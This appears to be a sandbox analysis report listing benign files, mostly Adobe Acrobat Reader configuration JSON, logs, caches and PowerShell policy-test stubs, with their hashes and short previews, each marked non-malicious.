Size (bytes):	291
Entropy (8bit):	5.281462985282461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfbPtdPeUkwRe9:YvXKXMZ1BJNcUitoEOGDV8Ukee9
MD5:	D686F0BFBBBC29DF52AED2E2A4C14E04
SHA1:	A4DF8987B192578D080EA44880FF1DC26E5D52F8
SHA-256:	1F78FD40E6159B1B6E2CB2D2F62CF966CB488CE23C7B2C14BD15F4DC6045F009
SHA-512:	3780AB928B19DB5A6E068789A4BB52F81C55C5AC4154B398205B2F0DF940AE225FB890017363D9837904B47D039BACDB99873DD8E641C4C8CC7691C634F0CAF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.28310715770322
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJf21rPeUkwRe9:YvXKXMZ1BJNcUitoEOG+16Ukee9
MD5:	DA001A44550B6E66AFF5B54F12122CD9
SHA1:	29629EABAF40B566E5BF97D7503459B5C98D5E91
SHA-256:	742CA726D70E986E23E1706A70C1F7E90BCC6D20CCCE2014354D5E0C2DF88B90
SHA-512:	E3415DA70E1122E8BB2AF12255B378252CBDA80CBB905A652B660774834F53843B148254952EBA4922AE06588049EA45479F49F2989A8E4FFD7641FB9B6C86E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663121983460925
Encrypted:	false
SSDEEP:	24:Yv6XMZPJNs6samXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+:YvnZPns6KBgkDMUJUAh8cvM+
MD5:	3F2198BB1FF1EBF1F6D5A64BDD9E562A
SHA1:	8A953B25581814B2B69546957E471D02FA5628B8
SHA-256:	B0FFD10FF7DC1E8468FC8C1D2FFBEA47C655A78EC0DB8F674951301B37E6AC20
SHA-512:	DD10241FA75EBFB9BD8B2DCE0BF2F0CA19E1A509AA096B66379645824B518838905E3852D403F4EC70C9E9D08E069FB658062B4358C4D7CDBAB883AB7DD614DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261020988437055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfshHHrPeUkwRe9:YvXKXMZ1BJNcUitoEOGUUUkee9
MD5:	B1C3A7B6985ADF9CDDE49ED34930EA28
SHA1:	6E69AE2833079A335CC1A7EBB8543E051AD22BEE
SHA-256:	95F7697BCEAC593EC1D55CD4406F6D2D8A046C4997FDF8884C5F02E41FBA9019
SHA-512:	59A262B9CB887BB98042BE162694F4EB568B201560BD1E44E5C0743328505D297AE2E484E0A9F27487D247C077884546D066F643411F652359AC7B2303B776A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.26722492277302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJTqgFCrPeUkwRe9:YvXKXMZ1BJNcUitoEOGTq16Ukee9
MD5:	F678C6397614721A0DC1A8C48C0CD21D
SHA1:	D4303E60126A1F7603C2E5C6B1D829A36C34A006
SHA-256:	4F5EB584C3E8253A08A73B57C5C809D17880717F254023B323BB2DBD7D7CA5A4
SHA-512:	9131963D8C23D75810E294BFF3C9EA921EBE0CF3485A3291C97C7D3F3F0ACBE0CB814F43EA67AEC4F53A0944006260685783CF58EB3E95CB5BC70C19A2367E05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145014733129289
Encrypted:	false
SSDEEP:	24:YiffW6qa2ay8orYci8eLKTrgRjmcj0SnLX2O2Z2LS5C0Bjo0AMBMLk5J9sfuhOG:Yifxi3aFmun9WHtlo0AMGYX9r
MD5:	A7AC9AA211DE26C6C197FF098D04CC0C
SHA1:	32AD8356428299D299BBBFE844CC9A71BEA7FE6C
SHA-256:	011F42E8975A70E44233AECD4E567CF56DA5B215BD6A4A05F74731443EC9CC8C
SHA-512:	A5829FE0BF46C9648C90B66ECEEF9CB2384919D1260CE04990F2B12719823C440F3B33D539A1AB76279F0EC5F45DF8D11C6D6E4E957CB73884E05B3AEF52EF4E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"75724a42f859bca7e3954fc1c6033167","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570163000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"91f19278b5d6e155a2b0f573df6bf500","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570163000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3ed9f4246d52b92098840a02e228eac6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570163000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"87cca8a3fd5abbb9f8d05dba18b550e6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570163000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b52dd3b6182d8dcf0fed18b8fa9c9883","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570162000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9aa9731b4331b263b8fb936616c12d48","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4579958867548732
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2eDeLviuFuI7PjDU:/VmsrhoGgt5Zgekp7rY
MD5:	C6756ABB9FDAA409CB094FC84BC28272
SHA1:	E6981D80CA47B1C084909D873E7282A1480AE184
SHA-256:	1740876A4DA26A3CC042767D952F46DA3E927E3E66B82198F1BE5AF9F6B5681C
SHA-512:	30CCC1E2287E2E3AFE0B06F10B103E24F7C4ECEDA0C522D7304B8D04CC4F47B6F3029F9B5B9A42412F57879E12E86CF16879969ABA3508923EB0C1E82E479E59
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9627411602745268
Encrypted:	false
SSDEEP:	48:7MGhoGgpP5ZgrI2eD5LviuFuI7PehaqqVl2GL7msl:7HhoGgt5Zge9p72haqaVmsl
MD5:	90C92838797ACA4510D1CF4BA9FE7412
SHA1:	95DB1513E267183DD8F69E8E2FF69C9C1ED40B95
SHA-256:	1CAB6B3AB1582A495E878D1EFDA8BC063F0FD67300F18152BAA0962888B4790C
SHA-512:	298DADEC13B628FE27C54521EED6A7445EFB3E8AB5A65F354C0555899F64784B9A0475C281CFB412D7B48BF52A14FE8BDF4A943EDE8F541A6BFE6124483376DD
Malicious:	false
Preview:	.... .c.....".<t..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdL6b27V6YqnMl5ThZbrv4ZI/Yyu:6a6TZ44ADEV6dYUA5T/b/K
MD5:	D5FB2CD6CD0B16900EB81173A1E967F2
SHA1:	9F27C3C103D562D53E83E59E89F7DA465043689B
SHA-256:	27B4FA18BB593D2BD1AB0E19218022CD10FD5A6FB3B6CE62B5E7FE45E978E5FF
SHA-512:	087DE7BF12AF90DBB132EC16ADBCF614EC9841C5014DCB6A7D31203078A46138FE4E648A127A1A064132B7B5A90FC9623975857CEC3BF7CF2274FB56462CF056
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIaf7d9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClxqNH:Qw946cPbiOxDlbYnuRK+bEM
MD5:	9CE8768F1A12EF9EE91D86A59C9A3941
SHA1:	BB71BA11A6444B8060091A33DBBFBE0AC9846507
SHA-256:	B9C820F61007200A78AD54733C8DC2E00B2FDAAC6EC7B9D525ED45F55BA9CF37
SHA-512:	F4A88E90772E5CE6A8E6B2BF5D3F17D2515C4D50F36AE3F8422704CBB2EC8C6C809BA7F6218EEB19BF096151DB1065037C9D0D12CABCF6C9E5D04819AA1A6CC7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.3.6.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebblipq3.wih.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rfuxaoeb.kqc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-35-55-523.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.3387375139602025
Encrypted:	false
SSDEEP:	384:+cehG4/Hs09vcebQ4BH/qMhUIjHTwthSULK+4cTraLmdv2hIgXdhClCn+82xePf9:SuxVW
MD5:	400F2E20F442EF4644E199DEB0E0BD6F
SHA1:	F89CBA58F3CD3B6CD9B5EA2EFE1811DBBCB7C945
SHA-256:	9C9EA903C9D1D508084794AC86D58AF4ADD9021490FB85F7BA1F51CA8F4D3094
SHA-512:	32A340C5353B2C97CB5A41CE5A3C1FB98F7EFA69B02CAC137B89D967F5C0F3891783C19CC514EB8019466338CA090A9C985305D6E95DD7C146283D8DE903991D
Malicious:	false
Preview:	SessionID=d129b56d-d1a8-4256-874e-7e5fc6795346.1736570155543 Timestamp=2025-01-10T23:35:55:543-0500 ThreadID=2028 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d129b56d-d1a8-4256-874e-7e5fc6795346.1736570155543 Timestamp=2025-01-10T23:35:55:557-0500 ThreadID=2028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d129b56d-d1a8-4256-874e-7e5fc6795346.1736570155543 Timestamp=2025-01-10T23:35:55:557-0500 ThreadID=2028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d129b56d-d1a8-4256-874e-7e5fc6795346.1736570155543 Timestamp=2025-01-10T23:35:55:557-0500 ThreadID=2028 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d129b56d-d1a8-4256-874e-7e5fc6795346.1736570155543 Timestamp=2025-01-10T23:35:55:557-0500 ThreadID=2028 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.393869498890373
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbnGcbsISEcbh:2PLH8FVfpBJnY7VSL
MD5:	F0990DFEFB28308CF539068602174D3E
SHA1:	9DA7131443CCD67E4F147742E68920232FC64704
SHA-256:	D271A520085CC246105089B5756AB0D0CDD8B9429733B306CC84FC946545145B
SHA-512:	B98D8494399DBD3AE6A796E6DE78EE70C5242633FE03C75CE3E18CE700E356887A8304D13FDBC86EDC0191E7EE392D392F76E8BD44135B998C6D2C9A7A921B9A
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\41fefbd4-8f99-4a5f-a6b2-b3c93d4f232f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7fe89262-6b7f-4af8-96cf-06efd804d214.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xP/wYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JXwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	80990E953C72A2C5CC6D5AD94CF11F0C
SHA1:	9DA4A3EBD8612FDE2DA8F9EEA96491988FA5A231
SHA-256:	EC5EFBB64292DD321F50470102B46E72A93E9A1552748F5E8A1EEDA5F4FAA66F
SHA-512:	B20736ECD8674D886C6E497DA05D5D37A385A0D6954FA20EBE4AB30673342632271DE76FAE2C70994745517999531066C5D3629257D0381FAF3944813DF6D74D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\db67ec0e-ba09-433f-a206-dabcebf261d3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
